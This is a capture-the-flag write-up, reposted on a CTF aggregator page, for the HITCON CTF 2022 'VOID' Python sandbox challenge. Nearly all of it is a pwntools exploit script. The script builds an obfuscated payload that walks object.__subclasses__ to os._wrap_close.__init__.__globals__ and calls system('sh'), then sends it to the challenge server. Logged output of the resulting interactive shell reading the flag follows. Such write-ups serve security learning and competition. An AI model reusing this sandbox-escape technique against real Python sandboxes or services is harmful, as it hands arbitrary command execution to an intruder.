HITCON CTF 2022 VOID

WriteUp 1年前 (2022) admin
715 0 0
from pwn import *
import dis


def gen_varname() -> str:
    d = {}

    class Checker:
        def __getattribute__(self, __name: str) -> bool:
            if d.get(__name, False):
                return True
            d[__name] = True
            return False

    checker = Checker()
    for i in range(0x10000):
        if chr(i).isidentifier() and not eval(f"checker.{chr(i)}"):
            yield chr(i)


def load_name(idx: int) -> str:
    g = gen_varname()
    return "(" + ",".join([next(g) for _ in range(idx)]) + ")", next(g)


def gen_left() -> str:
    # yield all length 1 integers
    # 0 ~ 9
    for i in range(10):
        yield str(i)

    # yield all length 2 integers
    # 10 ~ 99
    for i in range(10, 100):
        yield str(i)
    # yield length 2 str
    yield '""'
    # yield all length 2 floats
    # .1 ~ .9
    for i in range(1, 10):
        yield f".{i}"
    # 1. ~ 9.
    for i in range(1, 10):
        yield f"{i}."

    # yield all length 3 integers
    # 100 ~ 999
    for i in range(100, 1000):
        yield str(i)
    # yield all length 3 floats
    # .11 ~ .99
    for i in range(11, 100):
        if str(i).endswith("0"):
            continue
        yield f".{i}"
    # 1.1 ~ 9.9
    for i in range(1, 10):
        for j in range(1, 10):
            yield f"{i}.{j}"
    # 11. ~ 99.
    for i in range(11, 100):
        yield f"{i}."
    # 1e1 ~ 9e9
    for i in range(1, 10):
        for j in range(2, 10):
            yield f"{i}e{j}"
    # yield length 3 bytes
    yield 'b""'
    # yield length 3 ellipsis
    yield "..."

    # yield all length 4 integers
    # 1000 ~ 9999
    for i in range(1000, 10000):
        yield str(i)

    # should enough for now :)


def is_valid_right(x: str) -> bool:
    if str.isdigit(x):
        return False
    if any([c in x for c in ["'""\\""{""}""\n""\r""\0"]]):
        return False
    return True


def load_const(idx: int) -> str:
    payload = "f'"
    use_par = False
    i = 0
    g = gen_left()
    while i < idx:
        if use_par:
            payload += "{"
            payload += next(g)
            idx -= 1
            if i == idx:
                payload += "}"
                break
            payload += ":"
            tmp = chr(i)
            while not is_valid_right(tmp):
                i += 1
                idx += 1
                tmp = chr(i)
            payload += tmp
            payload += "}"
        else:
            tmp = chr(i)
            while not is_valid_right(tmp):
                i += 1
                idx += 1
                tmp = chr(i)
            payload += tmp
        i += 1
        use_par = not use_par
    payload += f"'"
    return payload, str(idx)


payload, _ = load_const(1000)
names, getitem = load_name(2780)
_, getattribute = load_name(2158)
underscore = "(246)[not[[]]]"
s = "'" + chr(548) + "'[not[[]]]"
u = "'" + chr(656) + "'[not[]]"
b = "'" + chr(654) + "'[not[]]"
c = "'" + chr(558) + "'[not[[]]]"
l = "(296)[not[]]"
a = "(292)[not[]]"
e = "'" + chr(556) + "'[not[]]"

i = "(245)[not[[]]]"
n = "'" + chr(556) + "'[(not[])+(not[])]"
t = "(311)[not[]]"

g = "'" + chr(644) + "'[not[[]]]"
o = "'" + chr(643) + "'[not[]]"

y = "'" + chr(548) + "'[not[]]"
m = "(245)[not[]]"

h = "(292)[-(not[])]"

# load necessary amount of names and consts
payload += names
payload += "if[]else"

# os._wrap_close.__init__.__globals__
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("

# os._wrap_close.__init__
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("

# # os._wrap_close
payload += "'\x05'"
payload += "."
payload += getattribute
payload += "("
payload += "'\x05',"
payload += "+".join(
    [underscore, underscore, s, u, b, c, l, a, s, s, e, s, underscore, underscore]
)
payload += ")()[-((not[])+(not[])+(not[])+(not[]))]"

payload += ","

payload += "+".join([underscore, underscore, i, n, i, t, underscore, underscore])
payload += ")"

payload += ","

payload += "+".join(
    [underscore, underscore, g, l, o, b, a, l, s, underscore, underscore]
)
payload += ")"

# .__getitem__("system")("sh")
payload += "."
payload += getitem
payload += "("
payload += "+".join([s, y, s, t, e, m])
payload += ")"
payload += "("
payload += "+".join([s, h])
payload += ")"

# object.__getattribute__(object.__getattribute__(object.__getattribute__(object, '__subclasses__')()[-4], '__init__'), '__globals__').__getitem__('system')('sh')
print(payload)
print(len(payload))
dis.dis(payload)
print(len(payload))

HOST, PORT = "localhost", 13337
HOST, PORT = "34.80.32.35", 13337

with remote(HOST, PORT) as io:

    io.sendlineafter(b">>> ", payload.encode())

    io.interactive()

# [+] Opening connection to 34.80.32.35 on port 13337: Done
# [*] Switching to interactive mode
# $ ls
# chal.py
# flag
# run.sh
# $ cat flag
# hitcon{3scape the vvvVOIDddd}

原文始发于Github:HITCON CTF 2022 VOID

版权声明:admin 发表于 2022年11月28日 上午10:37。
转载请注明:HITCON CTF 2022 VOID | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...